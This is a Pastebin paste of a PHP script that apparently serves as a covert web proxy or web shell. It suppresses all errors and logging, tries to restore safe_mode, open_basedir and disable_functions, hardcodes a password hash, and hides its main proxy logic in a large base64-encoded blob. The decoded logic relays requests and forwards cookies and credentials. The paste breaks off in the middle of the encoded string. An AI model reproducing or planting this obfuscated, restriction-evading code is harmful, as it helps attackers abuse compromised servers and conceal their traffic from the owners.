Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- error_reporting(0);
- set_time_limit(0);
- if(function_exists('ini_set')){
- ini_set('output_buffering',0);
- ini_set('display_errors',0);
- ini_set('log_errors',0);
- ini_set('error_log',null);
- ini_set('max_execution_time',0);
- ini_set('zlib.output_compression','Off');
- ini_set('session.save_handler','files');
- if(function_exists('session_save_path')){
- ini_set('session.save_path','/tmp');
- session_save_path('/tmp');
- }
- }
- session_start();
- if(function_exists('ini_restore')){
- ini_restore('safe_mode');
- ini_restore('open_basedir');
- ini_restore('allow_url_fopen');
- ini_restore('disable_functions');
- ini_restore('safe_mode_exec_dir');
- ini_restore('safe_mode_include_dir');
- }
- ignore_user_abort(false);
- date_default_timezone_set('Etc/GMT');
- define('SELF_PATH',__FILE__);
- define('PHPSELF',$_SERVER['PHP_SELF']);
- define('lokasi','http'.(isset($_SERVER['HTTPS'])?'s':'').'://'.$_SERVER['SERVER_NAME'].$_SERVER['SCRIPT_NAME']);
- $pass='5058f1af8388633f609cadb75a75dc9d';
- if(get_magic_quotes_gpc()){
- function stripslashes_array($a){
- return is_array($a)?array_map('stripslashes_array',$a):stripslashes($a);
- }
- $_POST=stripslashes_array($_POST);
- }
- //
- // CONFIGURABLE OPTIONS
- //
- $_config=array('url_var_name'=>'q','flags_var_name'=>'hl','get_form_name'=>'____pgfa','basic_auth_var_name'=>'____pbavn','max_file_size'=>-1,'allow_hotlinking'=>0,'upon_hotlink'=>1,'compress_output'=>0);
- $_flags=array('include_form'=>0,'remove_scripts'=>0,'accept_cookies'=>1,'show_images'=>1,'show_referer'=>1,'rotate13'=>0,'base64_encode'=>0,'strip_meta'=>0,'strip_title'=>0,'session_cookies'=>1);
- $_frozen_flags=array('include_form'=>0,'remove_scripts'=>0,'accept_cookies'=>1,'show_images'=>1,'show_referer'=>1,'rotate13'=>0,'base64_encode'=>0,'strip_meta'=>0,'strip_title'=>0,'session_cookies'=>1);
- $_labels=array('include_form'=>array('Include Form','Include mini URL-form on every page'),'remove_scripts'=>array('Remove Scripts','Remove client-side scripting (i.e JavaScript)'),'accept_cookies'=>array('Accept Cookies','Allow cookies to be stored'),'show_images'=>array('Show Images','Show images on browsed pages'),'show_referer'=>array('Show Referer','Show actual referring Website'),'rotate13'=>array('Rotate13','Use ROT13 encoding on the address'),'base64_encode'=>array('Base64','Use base64 encodng on the address'),'strip_meta'=>array('Strip Meta','Strip meta information tags from pages'),'strip_title'=>array('Strip Title','Strip page title'),'session_cookies'=>array('Session Cookies','Store cookies for this session only'));
- $_hosts=array('#^127\.|192\.168\.|10\.|172\.(1[6-9]|2[0-9]|3[01])\.|localhost#i');
- $_hotlink_domains=array();
- $_insert=array();
- //
- // END CONFIGURABLE OPTIONS. The ride for you ends here. Close the file.
- //
- $_iflags='';
- $_system=array('ssl'=>extension_loaded('openssl')&&version_compare(PHP_VERSION,'4.3.0','>='),'uploads'=>ini_get('file_uploads'),'gzip'=>extension_loaded('zlib')&&!ini_get('zlib.output_compression'),'stripslashes'=>get_magic_quotes_gpc());
- $_proxify=array('text/html'=>1,'application/xml+xhtml'=>1,'application/xhtml+xml'=>1,'text/css'=>1);
- $_version='0.5b2';
- $_http_host=isset($_SERVER['HTTP_HOST'])?$_SERVER['HTTP_HOST']:(isset($_SERVER['SERVER_NAME'])?$_SERVER['SERVER_NAME']:'localhost');
- $_script_url='http'.((isset($_ENV['HTTPS'])&&$_ENV['HTTPS']=='on')||$_SERVER['SERVER_PORT']==443?'s':'').'://'.$_http_host.($_SERVER['SERVER_PORT']!=80&&$_SERVER['SERVER_PORT']!=443?':'.$_SERVER['SERVER_PORT']:'').PHPSELF;
- $_script_base=substr($_script_url,0,strrpos($_script_url,'/')+1);
- $_url='';$_url_parts=array();$_base=array();$_socket=null;$_request_method=$_SERVER['REQUEST_METHOD'];$_request_headers='';$_cookie='';$_post_body='';$_response_headers=array();$_response_keys=array();$_http_version='';$_response_code=0;$_content_type='text/html';$_content_length=false;$_content_disp='';$_set_cookie=array();$_retry=false;$_quit=false;$_basic_auth_header='';$_basic_auth_realm='';$_auth_creds=array();$_response_body='';
- $menu=base64_decode('aWYoaXNzZXQoJF9QT1NUWyRfY29uZmlnWyd1cmxfdmFyX25hbWUnXV0pICYmICFpc3NldCgkX0dF
- VFskX2NvbmZpZ1sndXJsX3Zhcl9uYW1lJ11dKSAmJiBpc3NldCgkX1BPU1RbJF9jb25maWdbJ2Zs
- YWdzX3Zhcl9uYW1lJ11dKSl7Zm9yZWFjaCgkX2ZsYWdzIGFzICRmbGFnX25hbWUgPT4gJGZsYWdf
- dmFsdWUpeyRfaWZsYWdzIC49IGlzc2V0KCRfUE9TVFskX2NvbmZpZ1snZmxhZ3NfdmFyX25hbWUn
- XV1bJGZsYWdfbmFtZV0pPyhzdHJpbmcpKGludCkoYm9vbCkkX1BPU1RbJF9jb25maWdbJ2ZsYWdz
- X3Zhcl9uYW1lJ11dWyRmbGFnX25hbWVdOigkX2Zyb3plbl9mbGFnc1skZmxhZ19uYW1lXT8kZmxh
- Z192YWx1ZTonMCcpO30kX2lmbGFncz1iYXNlX2NvbnZlcnQoKCRfaWZsYWdzICE9ICcnPyRfaWZs
- YWdzOicwJyksMiwxNik7fWVsc2VpZihpc3NldCgkX0dFVFskX2NvbmZpZ1snZmxhZ3NfdmFyX25h
- bWUnXV0pICYmICFpc3NldCgkX0dFVFskX2NvbmZpZ1snZ2V0X2Zvcm1fbmFtZSddXSkgJiYgY3R5
- cGVfYWxudW0oJF9HRVRbJF9jb25maWdbJ2ZsYWdzX3Zhcl9uYW1lJ11dKSl7JF9pZmxhZ3M9JF9H
- RVRbJF9jb25maWdbJ2ZsYWdzX3Zhcl9uYW1lJ11dO31lbHNlaWYoaXNzZXQoJF9DT09LSUVbJ2Zs
- YWdzJ10pICYmIGN0eXBlX2FsbnVtKCRfQ09PS0lFWydmbGFncyddKSl7JF9pZmxhZ3M9JF9DT09L
- SUVbJ2ZsYWdzJ107fWlmKCRfaWZsYWdzICE9PSAnJyl7JF9zZXRfY29va2llW109YWRkX2Nvb2tp
- ZSgnZmxhZ3MnLCRfaWZsYWdzLHRpbWUoKSsyNDE5MjAwKTskX2lmbGFncz1zdHJfcGFkKGJhc2Vf
- Y29udmVydCgkX2lmbGFncywxNiwyKSxjb3VudCgkX2ZsYWdzKSwnMCcsU1RSX1BBRF9MRUZUKTsk
- aT0wO2ZvcmVhY2goJF9mbGFncyBhcyAkZmxhZ19uYW1lID0+ICRmbGFnX3ZhbHVlKXskX2ZsYWdz
- WyRmbGFnX25hbWVdPSRfZnJvemVuX2ZsYWdzWyRmbGFnX25hbWVdPyRmbGFnX3ZhbHVlOihpbnQp
- KGJvb2wpJF9pZmxhZ3N7JGl9OyRpKys7fX1pZigkX2ZsYWdzWydyb3RhdGUxMyddKXtmdW5jdGlv
- biBlbmNvZGVfdXJsKCR1cmwpe3JldHVybiByYXd1cmxlbmNvZGUoc3RyX3JvdDEzKCR1cmwpKTt9
- ZnVuY3Rpb24gZGVjb2RlX3VybCgkdXJsKXtyZXR1cm4gc3RyX3JlcGxhY2UoYXJyYXkoJyZhbXA7
- JywnJiMzODsnKSwnJicsc3RyX3JvdDEzKHJhd3VybGRlY29kZSgkdXJsKSkpO319ZWxzZWlmKCRf
- ZmxhZ3NbJ2Jhc2U2NF9lbmNvZGUnXSl7ZnVuY3Rpb24gZW5jb2RlX3VybCgkdXJsKXtyZXR1cm4g
- cmF3dXJsZW5jb2RlKGJhc2U2NF9lbmNvZGUoJHVybCkpO31mdW5jdGlvbiBkZWNvZGVfdXJsKCR1
- cmwpe3JldHVybiBzdHJfcmVwbGFjZShhcnJheSgnJmFtcDsnLCcmIzM4OycpLCcmJyxiYXNlNjRf
- ZGVjb2RlKHJhd3VybGRlY29kZSgkdXJsKSkpO319ZWxzZXtmdW5jdGlvbiBlbmNvZGVfdXJsKCR1
- cmwpe3JldHVybiByYXd1cmxlbmNvZGUoJHVybCk7fWZ1bmN0aW9uIGRlY29kZV91cmwoJHVybCl7
- cmV0dXJuIHN0cl9yZXBsYWNlKGFycmF5KCcmYW1wOycsJyYjMzg7JyksJyYnLHJhd3VybGRlY29k
- ZSgkdXJsKSk7fX1pZigkX2NvbmZpZ1snY29tcHJlc3Nfb3V0cHV0J10gJiYgJF9zeXN0ZW1bJ2d6
- aXAnXSl7b2Jfc3RhcnQoJ29iX2d6aGFuZGxlcicpO31pZigkX3N5c3RlbVsnc3RyaXBzbGFzaGVz
- J10pe2Z1bmN0aW9uIF9zdHJpcHNsYXNoZXMoJHZhbHVlKXtyZXR1cm4gaXNfYXJyYXkoJHZhbHVl
- KT9hcnJheV9tYXAoJ19zdHJpcHNsYXNoZXMnLCR2YWx1ZSk6KGlzX3N0cmluZygkdmFsdWUpP3N0
- cmlwc2xhc2hlcygkdmFsdWUpOiR2YWx1ZSk7fSRfR0VUPV9zdHJpcHNsYXNoZXMoJF9HRVQpOyRf
- UE9TVD1fc3RyaXBzbGFzaGVzKCRfUE9TVCk7JF9DT09LSUU9X3N0cmlwc2xhc2hlcygkX0NPT0tJ
- RSk7fWlmKGlzc2V0KCRfUE9TVFskX2NvbmZpZ1sndXJsX3Zhcl9uYW1lJ11dKSAmJiAhaXNzZXQo
- JF9HRVRbJF9jb25maWdbJ3VybF92YXJfbmFtZSddXSkpe2hlYWRlcignTG9jYXRpb246ICcuJF9z
- Y3JpcHRfdXJsLic/Jy4kX2NvbmZpZ1sndXJsX3Zhcl9uYW1lJ10uJz0nLmVuY29kZV91cmwoJF9Q
- T1NUWyRfY29uZmlnWyd1cmxfdmFyX25hbWUnXV0pLicmJy4kX2NvbmZpZ1snZmxhZ3NfdmFyX25h
- bWUnXS4nPScuYmFzZV9jb252ZXJ0KCRfaWZsYWdzLDIsMTYpKTtleGl0KDApO31pZihpc3NldCgk
- X0dFVFskX2NvbmZpZ1snZ2V0X2Zvcm1fbmFtZSddXSkpeyRfdXJsPWRlY29kZV91cmwoJF9HRVRb
- JF9jb25maWdbJ2dldF9mb3JtX25hbWUnXV0pOyRxc3RyPXN0cnBvcygkX3VybCwnPycpICE9PSBm
- YWxzZT8oc3RycG9zKCRfdXJsLCc/JykgPT09IHN0cmxlbigkX3VybCktMT8nJzonJicpOic/Jzsk
- YXJyPWV4cGxvZGUoJyYnLCRfU0VSVkVSWydRVUVSWV9TVFJJTkcnXSk7aWYocHJlZ19tYXRjaCgn
- I15cUScuJF9jb25maWdbJ2dldF9mb3JtX25hbWUnXS4nXEUjJywkYXJyWzBdKSl7YXJyYXlfc2hp
- ZnQoJGFycik7fSRfdXJsIC49ICRxc3RyLmltcGxvZGUoJyYnLCRhcnIpO31lbHNlaWYoaXNzZXQo
- JF9HRVRbJF9jb25maWdbJ3VybF92YXJfbmFtZSddXSkpeyRfdXJsPWRlY29kZV91cmwoJF9HRVRb
- JF9jb25maWdbJ3VybF92YXJfbmFtZSddXSk7fWVsc2VpZihpc3NldCgkX0dFVFsnYWN0aW9uJ10p
- ICYmICRfR0VUWydhY3Rpb24nXSA9PSAnY29va2llcycpe3Nob3dfcmVwb3J0KGFycmF5KCd3aGlj
- aCcgPT4gJ2Nvb2tpZXMnKSk7fWVsc2V7c2hvd19yZXBvcnQoYXJyYXkoJ3doaWNoJyA9PiAnaW5k
- ZXgnLCdjYXRlZ29yeScgPT4gJ2VudHJ5X2Zvcm0nKSk7fWlmKGlzc2V0KCRfR0VUWyRfY29uZmln
- Wyd1cmxfdmFyX25hbWUnXV0sJF9QT1NUWyRfY29uZmlnWydiYXNpY19hdXRoX3Zhcl9uYW1lJ11d
- LCRfUE9TVFsndXNlcm5hbWUnXSwkX1BPU1RbJ3Bhc3N3b3JkJ10pKXskX3JlcXVlc3RfbWV0aG9k
- PSdHRVQnOyRfYmFzaWNfYXV0aF9yZWFsbT1iYXNlNjRfZGVjb2RlKCRfUE9TVFskX2NvbmZpZ1sn
- YmFzaWNfYXV0aF92YXJfbmFtZSddXSk7JF9iYXNpY19hdXRoX2hlYWRlcj1iYXNlNjRfZW5jb2Rl
- KCRfUE9TVFsndXNlcm5hbWUnXS4nOicuJF9QT1NUWydwYXNzd29yZCddKTt9aWYoc3RycG9zKCRf
- dXJsLCc6Ly8nKSA9PT0gZmFsc2UpeyRfdXJsPSdodHRwOi8vJy4kX3VybDt9aWYodXJsX3BhcnNl
- KCRfdXJsLCRfdXJsX3BhcnRzKSl7JF9iYXNlPSRfdXJsX3BhcnRzO2lmKCFlbXB0eSgkX2hvc3Rz
- KSl7Zm9yZWFjaCgkX2hvc3RzIGFzICRob3N0KXtpZihwcmVnX21hdGNoKCRob3N0LCRfdXJsX3Bh
- cnRzWydob3N0J10pKXtzaG93X3JlcG9ydChhcnJheSgnd2hpY2gnID0+ICdpbmRleCcsJ2NhdGVn
- b3J5JyA9PiAnZXJyb3InLCdncm91cCcgPT4gJ3VybCcsJ3R5cGUnID0+ICdleHRlcm5hbCcsJ2Vy
- cm9yJyA9PiAxKSk7fX19fWVsc2V7c2hvd19yZXBvcnQoYXJyYXkoJ3doaWNoJyA9PiAnaW5kZXgn
- LCdjYXRlZ29yeScgPT4gJ2Vycm9yJywnZ3JvdXAnID0+ICd1cmwnLCd0eXBlJyA9PiAnZXh0ZXJu
- YWwnLCdlcnJvcicgPT4gMikpO31pZighJF9jb25maWdbJ2FsbG93X2hvdGxpbmtpbmcnXSAmJiBp
- c3NldCgkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ10pKXskX2hvdGxpbmtfZG9tYWluc1tdPSRfaHR0
- cF9ob3N0OyRpc19ob3RsaW5raW5nPXRydWU7Zm9yZWFjaCgkX2hvdGxpbmtfZG9tYWlucyBhcyAk
- aG9zdCl7aWYocHJlZ19tYXRjaCgnI15odHRwcz9cOlwvXC8od3d3KT9cUScuJGhvc3QuJ1xFKFwv
- fFw6fCQpI2knLHRyaW0oJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKSkpeyRpc19ob3RsaW5raW5n
- PWZhbHNlO2JyZWFrO319aWYoJGlzX2hvdGxpbmtpbmcpe3N3aXRjaCgkX2NvbmZpZ1sndXBvbl9o
- b3RsaW5rJ10pe2Nhc2UgMTpzaG93X3JlcG9ydChhcnJheSgnd2hpY2gnID0+ICdpbmRleCcsJ2Nh
- dGVnb3J5JyA9PiAnZXJyb3InLCdncm91cCcgPT4gJ3Jlc291cmNlJywndHlwZScgPT4gJ2hvdGxp
- bmtpbmcnKSk7YnJlYWs7Y2FzZSAyOmhlYWRlcignSFRUUC8xLjAgNDA0IE5vdCBGb3VuZCcpO2V4
- aXQoMCk7ZGVmYXVsdDpoZWFkZXIoJ0xvY2F0aW9uOiAnLiRfY29uZmlnWyd1cG9uX2hvdGxpbmsn
- XSk7ZXhpdCgwKTt9fX1kb3skX3JldHJ5PWZhbHNlOyRfc29ja2V0PUBmc29ja29wZW4oKCRfdXJs
- X3BhcnRzWydzY2hlbWUnXSA9PT0gJ2h0dHBzJyAmJiAkX3N5c3RlbVsnc3NsJ10/J3NzbDovLyc6
- J3RjcDovLycpLiRfdXJsX3BhcnRzWydob3N0J10sJF91cmxfcGFydHNbJ3BvcnQnXSwkZXJyX25v
- LCRlcnJfc3RyLDMwKTtpZigkX3NvY2tldCA9PT0gZmFsc2Upe3Nob3dfcmVwb3J0KGFycmF5KCd3
- aGljaCcgPT4gJ2luZGV4JywnY2F0ZWdvcnknID0+ICdlcnJvcicsJ2dyb3VwJyA9PiAndXJsJywn
- dHlwZScgPT4gJ2ludGVybmFsJywnZXJyb3InID0+ICRlcnJfbm8pKTt9JF9yZXF1ZXN0X2hlYWRl
- cnM9JF9yZXF1ZXN0X21ldGhvZC4nICcuJF91cmxfcGFydHNbJ3BhdGgnXTtpZihpc3NldCgkX3Vy
- bF9wYXJ0c1sncXVlcnknXSkpeyRfcmVxdWVzdF9oZWFkZXJzIC49ICc/JzskcXVlcnk9cHJlZ19z
- cGxpdCgnIyhbJjtdKSMnLCRfdXJsX3BhcnRzWydxdWVyeSddLC0xLFBSRUdfU1BMSVRfREVMSU1f
- Q0FQVFVSRSk7Zm9yKCRpPTAsJGNvdW50PWNvdW50KCRxdWVyeSk7JGk8JGNvdW50OyRfcmVxdWVz
- dF9oZWFkZXJzIC49IGltcGxvZGUoJz0nLGFycmF5X21hcCgndXJsZW5jb2RlJyxhcnJheV9tYXAo
- J3VybGRlY29kZScsZXhwbG9kZSgnPScsJHF1ZXJ5WyRpXSkpKSkuKGlzc2V0KCRxdWVyeVsrKyRp
- XSk/JHF1ZXJ5WyRpXTonJyksJGkrKyk7fSRfcmVxdWVzdF9oZWFkZXJzIC49ICIgSFRUUC8xLjBc
- clxuIjskX3JlcXVlc3RfaGVhZGVycyAuPSAnSG9zdDogJy4kX3VybF9wYXJ0c1snaG9zdCddLiRf
- dXJsX3BhcnRzWydwb3J0X2V4dCddLiJcclxuIjtpZihpc3NldCgkX1NFUlZFUlsnSFRUUF9VU0VS
- X0FHRU5UJ10pKXskX3JlcXVlc3RfaGVhZGVycyAuPSAnVXNlci1BZ2VudDogJy4kX1NFUlZFUlsn
- SFRUUF9VU0VSX0FHRU5UJ10uIlxyXG4iO31pZihpc3NldCgkX1NFUlZFUlsnSFRUUF9BQ0NFUFQn
- XSkpeyRfcmVxdWVzdF9oZWFkZXJzIC49ICdBY2NlcHQ6ICcuJF9TRVJWRVJbJ0hUVFBfQUNDRVBU
- J10uIlxyXG4iO31lbHNleyRfcmVxdWVzdF9oZWFkZXJzIC49ICJBY2NlcHQ6ICovKjtxPTAuMVxy
- XG4iO31pZigkX2ZsYWdzWydzaG93X3JlZmVyZXInXSAmJiBpc3NldCgkX1NFUlZFUlsnSFRUUF9S
- RUZFUkVSJ10pICYmIHByZWdfbWF0Y2goJyNeXFEnLiRfc2NyaXB0X3VybC4nPycuJF9jb25maWdb
- J3VybF92YXJfbmFtZSddLic9XEUoW14mXSspIycsJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddLCRt
- YXRjaGVzKSl7JF9yZXF1ZXN0X2hlYWRlcnMgLj0gJ1JlZmVyZXI6ICcuZGVjb2RlX3VybCgkbWF0
- Y2hlc1sxXSkuIlxyXG4iO31pZighZW1wdHkoJF9DT09LSUUpKXskX2Nvb2tpZT0nJzskX2F1dGhf
- Y3JlZHM9YXJyYXkoKTtmb3JlYWNoKCRfQ09PS0lFIGFzICRjb29raWVfaWQgPT4gJGNvb2tpZV9j
- b250ZW50KXskY29va2llX2lkPWV4cGxvZGUoJzsnLHJhd3VybGRlY29kZSgkY29va2llX2lkKSk7
- JGNvb2tpZV9jb250ZW50PWV4cGxvZGUoJzsnLHJhd3VybGRlY29kZSgkY29va2llX2NvbnRlbnQp
- KTtpZigkY29va2llX2lkWzBdID09PSAnQ09PS0lFJyl7JGNvb2tpZV9pZFszXT1zdHJfcmVwbGFj
- ZSgnXycsJy4nLCRjb29raWVfaWRbM10pO2lmKGNvdW50KCRjb29raWVfaWQpPDQgfHwgKCRjb29r
- aWVfY29udGVudFsxXSA9PSAnc2VjdXJlJyAmJiAkX3VybF9wYXJ0c1snc2NoZW1lJ10gIT0gJ2h0
- dHBzJykpe2NvbnRpbnVlO31pZigocHJlZ19tYXRjaCgnI1xRJy4kY29va2llX2lkWzNdLidcRSQj
- aScsJF91cmxfcGFydHNbJ2hvc3QnXSkgfHwgc3RydG9sb3dlcigkY29va2llX2lkWzNdKSA9PSBz
- dHJ0b2xvd2VyKCcuJy4kX3VybF9wYXJ0c1snaG9zdCddKSkgJiYgcHJlZ19tYXRjaCgnI15cUScu
- JGNvb2tpZV9pZFsyXS4nXEUjJywkX3VybF9wYXJ0c1sncGF0aCddKSl7JF9jb29raWUgLj0gKCRf
- Y29va2llICE9ICcnPyc7ICc6JycpLihlbXB0eSgkY29va2llX2lkWzFdKT8nJzokY29va2llX2lk
- WzFdLic9JykuJGNvb2tpZV9jb250ZW50WzBdO319ZWxzZWlmKCRjb29raWVfaWRbMF0gPT09ICdB
- VVRIJyAmJiBjb3VudCgkY29va2llX2lkKSA9PT0gMyl7JGNvb2tpZV9pZFsyXT1zdHJfcmVwbGFj
- ZSgnXycsJy4nLCRjb29raWVfaWRbMl0pO2lmKCRfdXJsX3BhcnRzWydob3N0J10uJzonLiRfdXJs
- X3BhcnRzWydwb3J0J10gPT09ICRjb29raWVfaWRbMl0peyRfYXV0aF9jcmVkc1skY29va2llX2lk
- WzFdXT0kY29va2llX2NvbnRlbnRbMF07fX19aWYoJF9jb29raWUgIT0gJycpeyRfcmVxdWVzdF9o
- ZWFkZXJzIC49ICJDb29raWU6ICRfY29va2llXHJcbiI7fX1pZihpc3NldCgkX3VybF9wYXJ0c1sn
- dXNlciddLCRfdXJsX3BhcnRzWydwYXNzJ10pKXskX2Jhc2ljX2F1dGhfaGVhZGVyPWJhc2U2NF9l
- bmNvZGUoJF91cmxfcGFydHNbJ3VzZXInXS4nOicuJF91cmxfcGFydHNbJ3Bhc3MnXSk7fWlmKCFl
- bXB0eSgkX2Jhc2ljX2F1dGhfaGVhZGVyKSl7JF9zZXRfY29va2llW109YWRkX2Nvb2tpZSgiQVVU
- SDt7JF9iYXNpY19hdXRoX3JlYWxtfTt7JF91cmxfcGFydHNbJ2hvc3QnXX06eyRfdXJsX3BhcnRz
- Wydwb3J0J119IiwkX2Jhc2ljX2F1dGhfaGVhZGVyKTskX3JlcXVlc3RfaGVhZGVycyAuPSAiQXV0
- aG9yaXphdGlvbjogQmFzaWMgeyRfYmFzaWNfYXV0aF9oZWFkZXJ9XHJcbiI7fWVsc2VpZighZW1w
- dHkoJF9iYXNpY19hdXRoX3JlYWxtKSAmJiBpc3NldCgkX2F1dGhfY3JlZHNbJF9iYXNpY19hdXRo
- X3JlYWxtXSkpeyRfcmVxdWVzdF9oZWFkZXJzIC49ICJBdXRob3JpemF0aW9uOiBCYXNpYyB7JF9h
- dXRoX2NyZWRzWyRfYmFzaWNfYXV0aF9yZWFsbV19XHJcbiI7fWVsc2VpZihsaXN0KCRfYmFzaWNf
- YXV0aF9yZWFsbSwkX2Jhc2ljX2F1dGhfaGVhZGVyKT1lYWNoKCRfYXV0aF9jcmVkcykpeyRfcmVx
- dWVzdF9oZWFkZXJzIC49ICJBdXRob3JpemF0aW9uOiBCYXNpYyB7JF9iYXNpY19hdXRoX2hlYWRl
- cn1cclxuIjt9aWYoJF9yZXF1ZXN0X21ldGhvZCA9PSAnUE9TVCcpe2lmKCFlbXB0eSgkX0ZJTEVT
- KSAmJiAkX3N5c3RlbVsndXBsb2FkcyddKXskX2RhdGFfYm91bmRhcnk9Jy0tLS0nLm1kNSh1bmlx
- aWQocmFuZCgpLHRydWUpKTskYXJyYXk9c2V0X3Bvc3RfdmFycygkX1BPU1QpO2ZvcmVhY2goJGFy
- cmF5IGFzICRrZXkgPT4gJHZhbHVlKXskX3Bvc3RfYm9keSAuPSAiLS17JF9kYXRhX2JvdW5kYXJ5
- fVxyXG4iOyRfcG9zdF9ib2R5IC49ICJDb250ZW50LURpc3Bvc2l0aW9uOiBmb3JtLWRhdGE7IG5h
- bWU9XCIka2V5XCJcclxuXHJcbiI7JF9wb3N0X2JvZHkgLj0gdXJsZGVjb2RlKCR2YWx1ZSkuIlxy
- XG4iO30kYXJyYXk9c2V0X3Bvc3RfZmlsZXMoJF9GSUxFUyk7Zm9yZWFjaCgkYXJyYXkgYXMgJGtl
- eSA9PiAkZmlsZV9pbmZvKXskX3Bvc3RfYm9keSAuPSAiLS17JF9kYXRhX2JvdW5kYXJ5fVxyXG4i
- OyRfcG9zdF9ib2R5IC49ICJDb250ZW50LURpc3Bvc2l0aW9uOiBmb3JtLWRhdGE7IG5hbWU9XCIk
- a2V5XCI7IGZpbGVuYW1lPVwieyRmaWxlX2luZm9bJ25hbWUnXX1cIlxyXG4iOyRfcG9zdF9ib2R5
- IC49ICdDb250ZW50LVR5cGU6ICcuKGVtcHR5KCRmaWxlX2luZm9bJ3R5cGUnXSk/J2FwcGxpY2F0
- aW9uL29jdGV0LXN0cmVhbSc6JGZpbGVfaW5mb1sndHlwZSddKS4iXHJcblxyXG4iO2lmKGlzX3Jl
- YWRhYmxlKCRmaWxlX2luZm9bJ3RtcF9uYW1lJ10pKXskaGFuZGxlPWZvcGVuKCRmaWxlX2luZm9b
- J3RtcF9uYW1lJ10sJ3JiJyk7JF9wb3N0X2JvZHkgLj0gZnJlYWQoJGhhbmRsZSxmaWxlc2l6ZSgk
- ZmlsZV9pbmZvWyd0bXBfbmFtZSddKSk7ZmNsb3NlKCRoYW5kbGUpO30kX3Bvc3RfYm9keSAuPSAi
- XHJcbiI7fSRfcG9zdF9ib2R5IC49ICItLXskX2RhdGFfYm91bmRhcnl9LS1cclxuIjskX3JlcXVl
- c3RfaGVhZGVycyAuPSAiQ29udGVudC1UeXBlOiBtdWx0aXBhcnQvZm9ybS1kYXRhOyBib3VuZGFy
- eT17JF9kYXRhX2JvdW5kYXJ5fVxyXG4iOyRfcmVxdWVzdF9oZWFkZXJzIC49ICJDb250ZW50LUxl
- bmd0aDogIi5zdHJsZW4oJF9wb3N0X2JvZHkpLiJcclxuXHJcbiI7JF9yZXF1ZXN0X2hlYWRlcnMg
- Lj0gJF9wb3N0X2JvZHk7fWVsc2V7JGFycmF5PXNldF9wb3N0X3ZhcnMoJF9QT1NUKTtmb3JlYWNo
- KCRhcnJheSBhcyAka2V5ID0+ICR2YWx1ZSl7JF9wb3N0X2JvZHkgLj0gIWVtcHR5KCRfcG9zdF9i
- b2R5KT8nJic6Jyc7JF9wb3N0X2JvZHkgLj0gJGtleS4nPScuJHZhbHVlO30kX3JlcXVlc3RfaGVh
- ZGVycyAuPSAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWRc
- clxuIjskX3JlcXVlc3RfaGVhZGVycyAuPSAiQ29udGVudC1MZW5ndGg6ICIuc3RybGVuKCRfcG9z
- dF9ib2R5KS4iXHJcblxyXG4iOyRfcmVxdWVzdF9oZWFkZXJzIC49ICRfcG9zdF9ib2R5OyRfcmVx
- dWVzdF9oZWFkZXJzIC49ICJcclxuIjt9JF9wb3N0X2JvZHk9Jyc7fWVsc2V7JF9yZXF1ZXN0X2hl
- YWRlcnMgLj0gIlxyXG4iO31md3JpdGUoJF9zb2NrZXQsJF9yZXF1ZXN0X2hlYWRlcnMpOyRfcmVz
- cG9uc2VfaGVhZGVycz0kX3Jlc3BvbnNlX2tleXM9YXJyYXkoKTskbGluZT1mZ2V0cygkX3NvY2tl
- dCw4MTkyKTt3aGlsZShzdHJzcG4oJGxpbmUsIlxyXG4iKSAhPT0gc3RybGVuKCRsaW5lKSl7QGxp
- c3QoJG5hbWUsJHZhbHVlKT1leHBsb2RlKCc6JywkbGluZSwyKTskbmFtZT10cmltKCRuYW1lKTsk
- X3Jlc3BvbnNlX2hlYWRlcnNbc3RydG9sb3dlcigkbmFtZSldW109dHJpbSgkdmFsdWUpOyRfcmVz
- cG9uc2Vfa2V5c1tzdHJ0b2xvd2VyKCRuYW1lKV09JG5hbWU7JGxpbmU9ZmdldHMoJF9zb2NrZXQs
- ODE5Mik7fXNzY2FuZihjdXJyZW50KCRfcmVzcG9uc2Vfa2V5cyksJyVzICVzJywkX2h0dHBfdmVy
- c2lvbiwkX3Jlc3BvbnNlX2NvZGUpO2lmKGlzc2V0KCRfcmVzcG9uc2VfaGVhZGVyc1snY29udGVu
- dC10eXBlJ10pKXtsaXN0KCRfY29udGVudF90eXBlLCk9ZXhwbG9kZSgnOycsc3RyX3JlcGxhY2Uo
- JyAnLCcnLHN0cnRvbG93ZXIoJF9yZXNwb25zZV9oZWFkZXJzWydjb250ZW50LXR5cGUnXVswXSkp
- LDIpO31pZihpc3NldCgkX3Jlc3BvbnNlX2hlYWRlcnNbJ2NvbnRlbnQtbGVuZ3RoJ10pKXskX2Nv
- bnRlbnRfbGVuZ3RoPSRfcmVzcG9uc2VfaGVhZGVyc1snY29udGVudC1sZW5ndGgnXVswXTt1bnNl
- dCgkX3Jlc3BvbnNlX2hlYWRlcnNbJ2NvbnRlbnQtbGVuZ3RoJ10sJF9yZXNwb25zZV9rZXlzWydj
- b250ZW50LWxlbmd0aCddKTt9aWYoaXNzZXQoJF9yZXNwb25zZV9oZWFkZXJzWydjb250ZW50LWRp
- c3Bvc2l0aW9uJ10pKXskX2NvbnRlbnRfZGlzcD0kX3Jlc3BvbnNlX2hlYWRlcnNbJ2NvbnRlbnQt
- ZGlzcG9zaXRpb24nXVswXTt1bnNldCgkX3Jlc3BvbnNlX2hlYWRlcnNbJ2NvbnRlbnQtZGlzcG9z
- aXRpb24nXSwkX3Jlc3BvbnNlX2tleXNbJ2NvbnRlbnQtZGlzcG9zaXRpb24nXSk7fWlmKGlzc2V0
- KCRfcmVzcG9uc2VfaGVhZGVyc1snc2V0LWNvb2tpZSddKSAmJiAkX2ZsYWdzWydhY2NlcHRfY29v
- a2llcyddKXtmb3JlYWNoKCRfcmVzcG9uc2VfaGVhZGVyc1snc2V0LWNvb2tpZSddIGFzICRjb29r
- aWUpeyRuYW1lPSR2YWx1ZT0kZXhwaXJlcz0kcGF0aD0kZG9tYWluPSRzZWN1cmU9JGV4cGlyZXNf
- dGltZT0nJztwcmVnX21hdGNoKCcjXlxzKihbXj07LFxzXSopXHMqPT9ccyooW147XSopIycsJGNv
- b2tpZSwkbWF0Y2gpICYmIGxpc3QoLCRuYW1lLCR2YWx1ZSk9JG1hdGNoO3ByZWdfbWF0Y2goJyM7
- XHMqZXhwaXJlc1xzKj1ccyooW147XSopI2knLCRjb29raWUsJG1hdGNoKSAmJiBsaXN0KCwkZXhw
